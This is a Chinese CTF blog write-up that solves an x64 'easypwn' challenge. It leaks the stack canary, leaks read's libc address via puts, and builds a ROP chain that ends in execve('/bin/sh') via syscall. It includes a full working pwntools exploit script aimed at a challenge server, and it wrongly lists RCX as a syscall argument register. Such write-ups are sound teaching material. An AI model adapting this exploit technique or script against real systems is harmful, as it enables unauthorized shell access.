百度杯CTF比赛十二月场easypwn

一道x64的rop,目前为止最复杂的一个,用了2天时间才搞明白 需要查的资料太多啦。。。一个人学习pwn一定要耐得住寂寞,沉下心来-_-,同时非常感谢Tac1t0rnX师傅的指导,邮件秒回,哈哈~

初探

64位的程序,开了nx和canary。开了nx就不能直接在栈区执行shellcode了,但可以用rop来绕过,但是布置栈区的参数时,有canary,所以必须把canary泄漏出来,否则程序会直接跳到___stack_chk_fail()这个方法,直接退出。
enter image description here

程序的逻辑很简单,漏洞也很明显,在两次read时,rbp距离buf只有50h,但是读取了0x100,很显然有溢出,但是有canary。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-50h]
unsigned __int64 v5; // [rsp+48h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(&buf, 0, 0x40uLL);
puts("Hello!I am the smartest robot in the universe!\nWho are you?");
fflush(_bss_start);
read(0, &buf, 0x100uLL);
printf(
"Your name %s sounds so stupid!\nBut you don't looks like a fool,isn't it?\nso why don't tell me your real name?\n",
&buf);
fflush(_bss_start);
read(0, &buf, 0x100uLL);
puts("Oh!This one is better,nice to meet you!\nGoodbye!See you again!");
return __readfsqword(0x28u) ^ v5;
}

Idea

解题思路:先利用read把canary泄漏出来,然后在第二个read处构造rop。因为题目中没有给出libc,所以我们通过syscall来实现调用shell。说了这么多,流程大概是这样的。

泄漏canary ====> 泄漏read函数真实地址 ===> 计算syscall的地址 ===> 构造rop调用syscall==> getshell

一些前置知识

canary

canary在栈中是这个样子的,可以覆盖Canary的最后一个字节\x00,将Canary泄露出来。

enter image description here

rop寻找的工具ROPgadget

比较重要的gadget

“pop rdi ret”。

1
ROPgadget --binary easypwn_0F2F68BE87E2457FA8223AC4A0CDACB1 --only "pop|ret" | grep rdi

通用gadgets

因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果
更多rop知识访问蒸米师傅的文章

1
objdump -d ./easypwn_0F2F68BE87E2457FA8223AC4A0CDACB1

enter image description here

参数变化

x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。

系统调用

1.系统调用号:RAX

2.参数:RDI RSI RDX RCX

RAX = 0x3B
RDI =bin_sh_addr
RDX = 0
RCX = 0

3.返回值 : RAX

通过syscall并利用read的返回值0x3b,执行execve(“/bin/sh\x00”,NULL,NULL)

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49


from pwn import *
target = remote('106.75.66.195',20000)
#target = process('./easypwn_0F2F68BE87E2457FA8223AC4A0CDACB1')
payload = 72 * 'A'

target.recvuntil("Who are you?")

target.sendline(payload)
target.recvuntil('A'* 72)
canary = u64(target.recv(8)) - 0xa
log.info('canary: ' + hex(canary))
#leak canary

plt_puts = 0x400560
pop_rdi_ret = 0x4007f3
got_read = 0x601030
target.recvuntil('tell me your real name?\n')
payload = 'A' * 72
payload += p64(canary)
payload += 'A' * 0x8
payload += p64(pop_rdi_ret)
payload += p64(got_read)
payload += p64(plt_puts)
payload += p64(0x4006C6)
target.sendline(payload)
target.recvuntil('See you again!\n')
addr_read = u64(target.recvuntil('\n',drop = True).ljust(0x8,'\x00'))
log.info('addr_read: ' + hex(addr_read))
syscall = addr_read + 0xe
log.info('syscall: ' + hex(syscall))
target.recvuntil('Who are you?\n')
target.sendline('A'* 72)
target.recvuntil('tell me your real name?\n')
payload = 'A'* 72
payload += p64(canary)
payload += 'A'* 0x8
payload += p64(0x4007EA)
payload += p64(0)+p64(1)+p64(got_read)+p64(0x3B)+p64(0x601080)+p64(0)
payload += p64(0x4007D0)
payload += p64(0)
payload += p64(0)+p64(1)+p64(0x601088)+p64(0)+p64(0)+p64(0x601080)
payload += p64(0x4007D0)
target.send(payload)
content = '/bin/sh\x00'+p64(syscall)
content = content.ljust(0x3B,'A')
target.send(content)
target.interactive()

enter image description here

文章作者: Carl Star
文章链接: http://carlstar.club/2018/07/01/pwn3/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo